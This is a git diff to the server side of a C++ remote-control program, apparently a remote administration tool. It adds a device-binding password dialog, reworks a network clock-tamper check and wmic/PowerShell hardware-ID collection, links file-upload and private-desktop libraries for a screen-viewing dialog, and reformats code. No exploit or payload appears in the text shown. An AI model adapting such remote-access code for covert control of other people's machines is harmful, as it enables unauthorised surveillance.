CMy2015RemoteDlg::GetHardwareID(); std::string hashedID = hashSHA256(hardwareID); std::string deviceID = getFixedLengthID(hashedID); std::string hmac = genHMAC(pwdHash, m_sUserPwd.GetString()); diff --git a/server/2015Remote/CPasswordDlg.h b/server/2015Remote/CPasswordDlg.h index 421b563..fb41f8e 100644 --- a/server/2015Remote/CPasswordDlg.h +++ b/server/2015Remote/CPasswordDlg.h @@ -41,6 +41,12 @@ public: CString m_sDeviceID; CString m_sPassword; virtual BOOL OnInitDialog(); + CComboBox m_ComboBinding; + afx_msg void OnCbnSelchangeComboBind(); + CEdit m_EditPasscodeHmac; + CString m_sPasscodeHmac; + int m_nBindType; + virtual void OnOK(); }; diff --git a/server/2015Remote/DateVerify.h b/server/2015Remote/DateVerify.h index 2869be0..cb2974e 100644 --- a/server/2015Remote/DateVerify.h +++ b/server/2015Remote/DateVerify.h @@ -23,11 +23,11 @@ const uint64_t NTP_EPOCH_OFFSET = 2208988800ULL; class DateVerify { private: - bool m_hasVerified = false; - bool m_lastVerifyResult = true; - time_t m_lastVerifyLocalTime = 0; - time_t m_lastNetworkTime = 0; - static const int VERIFY_INTERVAL = 6 * 3600; // 6小时 + bool m_hasVerified = false; + bool m_lastVerifyResult = true; + time_t m_lastVerifyLocalTime = 0; + time_t m_lastNetworkTime = 0; + static const int VERIFY_INTERVAL = 6 * 3600; // 6小时 // 初始化Winsock bool initWinsock() @@ -153,47 +153,47 @@ private: } // 验证本地日期是否被修改 - bool isLocalDateModified() - { - time_t currentLocalTime = time(nullptr); + bool isLocalDateModified() + { + time_t currentLocalTime = time(nullptr); - // 检查是否可以使用缓存 - if (m_hasVerified) { - time_t localElapsed = currentLocalTime - m_lastVerifyLocalTime; + // 检查是否可以使用缓存 + if (m_hasVerified) { + time_t localElapsed = currentLocalTime - m_lastVerifyLocalTime; - // 本地时间在合理范围内前进,使用缓存推算 - if (localElapsed >= 0 && localElapsed < VERIFY_INTERVAL) { - time_t estimatedNetworkTime = m_lastNetworkTime + localElapsed; - double diffDays = difftime(estimatedNetworkTime, currentLocalTime) / 86400.0; - if (fabs(diffDays) <= 1.0) { - return false; - } - } - } + // 本地时间在合理范围内前进,使用缓存推算 + if (localElapsed >= 0 && localElapsed < VERIFY_INTERVAL) { + time_t estimatedNetworkTime = m_lastNetworkTime + localElapsed; + double diffDays = difftime(estimatedNetworkTime, currentLocalTime) / 86400.0; + if (fabs(diffDays) <= 1.0) { + return false; + } + } + } - // 执行网络验证 - time_t networkTime = getNetworkTimeInChina(); - if (networkTime == 0) { - // 网络不可用:如果之前验证通过且本地时间没异常,暂时信任 - if (m_hasVerified && !m_lastVerifyResult) { - time_t localElapsed = currentLocalTime - m_lastVerifyLocalTime; - if (localElapsed >= -300 && localElapsed < 24 * 3600) { - return false; - } - } - return true; - } + // 执行网络验证 + time_t networkTime = getNetworkTimeInChina(); + if (networkTime == 0) { + // 网络不可用:如果之前验证通过且本地时间没异常,暂时信任 + if (m_hasVerified && !m_lastVerifyResult) { + time_t localElapsed = currentLocalTime - m_lastVerifyLocalTime; + if (localElapsed >= -300 && localElapsed < 24 * 3600) { + return false; + } + } + return true; + } - // 更新缓存 - m_hasVerified = true; - m_lastVerifyLocalTime = currentLocalTime; - m_lastNetworkTime = networkTime; + // 更新缓存 + m_hasVerified = true; + m_lastVerifyLocalTime = currentLocalTime; + m_lastNetworkTime = networkTime; - double diffDays = difftime(networkTime, currentLocalTime) / 86400.0; - m_lastVerifyResult = fabs(diffDays) > 1.0; + double diffDays = difftime(networkTime, currentLocalTime) / 86400.0; + m_lastVerifyResult = fabs(diffDays) > 1.0; - return m_lastVerifyResult; - } + return m_lastVerifyResult; + } public: diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 6f18c67..46aaf3a 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -130,7 +130,8 @@ public: m_IPAddress = pContext->GetPeerName().c_str(); m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL; } - int UpdateContext(CONTEXT_OBJECT* pContext) { + int UpdateContext(CONTEXT_OBJECT* pContext) + { m_ContextObject = pContext; m_iocpServer = pContext->GetServer(); m_ContextObject->hDlg = this; @@ -139,7 +140,8 @@ public: virtual ~CDialogBase() {} public: - virtual BOOL ReceiveCommonMsg() { + virtual BOOL ReceiveCommonMsg() + { switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) { case TOKEN_CLIENT_MSG: { ClientMsg* msg = (ClientMsg*)m_ContextObject->InDeCompressedBuffer.GetBuffer(0); @@ -175,7 +177,8 @@ public: { delete this; } - virtual BOOL ShouldReconnect() { + virtual BOOL ShouldReconnect() + { return FALSE; } // ȡ SOCKET ȡúԱε @@ -184,13 +187,15 @@ public: m_bIsClosed = TRUE; m_ContextObject->CancelIO(); - } - BOOL IsClosed() const { + } + BOOL IsClosed() const + { return m_bIsClosed; } - BOOL SayByeBye() { - BYTE bToken = COMMAND_BYE; - return m_ContextObject->Send2Client(&bToken, 1); + BOOL SayByeBye() + { + BYTE bToken = COMMAND_BYE; + return m_ContextObject->Send2Client(&bToken, 1); } }; diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index afcef40..b36e35e 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -44,32 +44,13 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog) #pragma comment(lib, "PrivateDesktop_Libx64.lib") #endif #else -int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs) -{ - return 0; -} -int UninitFileUpload() -{ - return 0; -} -std::vector GetClipboardFiles(int &result) -{ - return{}; -} -bool GetCurrentFolderPath(std::string& outDir) -{ - return false; -} -int FileBatchTransferWorker(const std::vector& files, const std::string& targetDir, - void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac) -{ - finish(user); - return 0; -} -int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac) -{ - return 0; -} +#ifdef _DEBUG +#pragma comment(lib, "FileUpload_Libd.lib") +#pragma comment(lib, "PrivateDesktop_Libd.lib") +#else +#pragma comment(lib, "FileUpload_Lib.lib") +#pragma comment(lib, "PrivateDesktop_Lib.lib") +#endif #endif extern "C" void* x265_api_get_192() @@ -805,34 +786,33 @@ BOOL CScreenSpyDlg::SaveSnapshot(void) VOID CScreenSpyDlg::UpdateServerClipboard(char* szBuffer, ULONG ulLength) { - if (!::OpenClipboard(NULL)) - return; + if (!::OpenClipboard(NULL)) + return; - ::EmptyClipboard(); + ::EmptyClipboard(); - // UTF-8 转 Unicode - int wlen = MultiByteToWideChar(CP_UTF8, 0, szBuffer, ulLength, nullptr, 0); - if (wlen > 0) { - // 分配 Unicode 缓冲区(+1 确保 null 结尾) - HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, (wlen + 1) * sizeof(wchar_t)); - if (hGlobal != NULL) { - wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal); - if (pWideStr) { - MultiByteToWideChar(CP_UTF8, 0, szBuffer, ulLength, pWideStr, wlen); - pWideStr[wlen] = L'\0'; // 确保 null 结尾 - GlobalUnlock(hGlobal); + // UTF-8 转 Unicode + int wlen = MultiByteToWideChar(CP_UTF8, 0, szBuffer, ulLength, nullptr, 0); + if (wlen > 0) { + // 分配 Unicode 缓冲区(+1 确保 null 结尾) + HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, (wlen + 1) * sizeof(wchar_t)); + if (hGlobal != NULL) { + wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal); + if (pWideStr) { + MultiByteToWideChar(CP_UTF8, 0, szBuffer, ulLength, pWideStr, wlen); + pWideStr[wlen] = L'\0'; // 确保 null 结尾 + GlobalUnlock(hGlobal); - if (SetClipboardData(CF_UNICODETEXT, hGlobal) == NULL) { - GlobalFree(hGlobal); - } - } - else { - GlobalFree(hGlobal); - } - } - } + if (SetClipboardData(CF_UNICODETEXT, hGlobal) == NULL) { + GlobalFree(hGlobal); + } + } else { + GlobalFree(hGlobal); + } + } + } - CloseClipboard(); + CloseClipboard(); } VOID CScreenSpyDlg::SendServerClipboard(void) diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h index d6c6c91..ba489f0 100644 --- a/server/2015Remote/ScreenSpyDlg.h +++ b/server/2015Remote/ScreenSpyDlg.h @@ -46,9 +46,10 @@ class CScreenSpyDlg : public DialogBase public: CScreenSpyDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); virtual ~CScreenSpyDlg(); - virtual BOOL ShouldReconnect() { - return TRUE; - } + virtual BOOL ShouldReconnect() + { + return TRUE; + } VOID SendNext(void); VOID OnReceiveComplete(); diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index ef0f1ce..79d9f24 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -484,7 +484,8 @@ public: server = svr; OnlineTime = time(0); } - uint64_t GetAliveTime()const { + uint64_t GetAliveTime()const + { return time(0) - OnlineTime; } Server* GetServer() @@ -520,7 +521,8 @@ public: { return PeerName; } - void SetPeerName(const std::string& peer) { + void SetPeerName(const std::string& peer) + { PeerName = peer; } virtual int GetPort() const diff --git a/server/2015Remote/ServerServiceWrapper.cpp b/server/2015Remote/ServerServiceWrapper.cpp index f758128..817c0c1 100644 --- a/server/2015Remote/ServerServiceWrapper.cpp +++ b/server/2015Remote/ServerServiceWrapper.cpp @@ -462,7 +462,7 @@ BOOL ServerService_Uninstall(void) } } - BOOL r = FALSE; + BOOL r = FALSE; // 删除服务 Mprintf("Deleting service...\n"); if (DeleteService(schService)) { diff --git a/server/2015Remote/pwd_gen.cpp b/server/2015Remote/pwd_gen.cpp index ec4820f..79b2bba 100644 --- a/server/2015Remote/pwd_gen.cpp +++ b/server/2015Remote/pwd_gen.cpp @@ -85,10 +85,11 @@ std::string execCommand(const char* cmd) result.erase(remove(result.begin(), result.end(), '\r'), result.end()); // - return result; + return result.empty() ? "ERROR" : result; } -std::string getHardwareID_PS() { +std::string getHardwareID_PS() +{ // Get-WmiObject PowerShell 2.0+ (>=Win7) const char* psScript = "(Get-WmiObject Win32_Processor).ProcessorId + '|' + " @@ -107,20 +108,23 @@ std::string getHardwareID_PS() { } // ȡӲ IDCPU + + Ӳ̣ -std::string getHardwareID(fallback fb) +std::string getHardwareID() { - // ʹ PowerShell - std::string psID = getHardwareID_PS(); - if (!psID.empty()) { - return psID; - } + // wmicϵͳܱƳ std::string cpuID = execCommand("wmic cpu get processorid"); std::string boardID = execCommand("wmic baseboard get serialnumber"); std::string diskID = execCommand("wmic diskdrive get serialnumber"); - std::string combinedID = cpuID + "|" + boardID + "|" + diskID; - if (fb && combinedID.find("ERROR") != std::string::npos) { - return fb(); + if (combinedID.find("ERROR") != std::string::npos) { + // ʧʹ PowerShell + std::string psID = getHardwareID_PS(); + if (!psID.empty()) { + Mprintf("Get hardware info with PowerShell: %s\n", psID.c_str()); + return psID; + } + Mprintf("Get hardware info FAILED!!! \n"); + Sleep(1234); + TerminateProcess(GetCurrentProcess(), 0); } return combinedID; } @@ -170,11 +174,10 @@ std::string deriveKey(const std::string& password, const std::string& hardwareID return hashSHA256(password + " + " + hardwareID); } -std::string getDeviceID(fallback fb) +std::string getDeviceID(const std::string &hardwareId) { - static std::string hardwareID = getHardwareID(fb); - static std::string hashedID = hashSHA256(hardwareID); - static std::string deviceID = getFixedLengthID(hashedID); + std::string hashedID = hashSHA256(hardwareId); + std::string deviceID = getFixedLengthID(hashedID); return deviceID; } diff --git a/server/2015Remote/pwd_gen.h b/server/2015Remote/pwd_gen.h index 0a4d82c..de61b38 100644 --- a/server/2015Remote/pwd_gen.h +++ b/server/2015Remote/pwd_gen.h @@ -2,11 +2,9 @@ #include -typedef std::string(*fallback)(); - // ɷ˹ܽм -std::string getHardwareID(fallback fb = NULL); +std::string getHardwareID(); std::string hashSHA256(const std::string& data); @@ -16,7 +14,7 @@ std::string getFixedLengthID(const std::string& hash); std::string deriveKey(const std::string& password, const std::string& hardwareID); -std::string getDeviceID(fallback fb = NULL); +std::string getDeviceID(const std::string &hardwareId); // Use HMAC to sign a message. uint64_t SignMessage(const std::string& pwd, BYTE* msg, int len); diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index fb41d2b..a7ac455 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ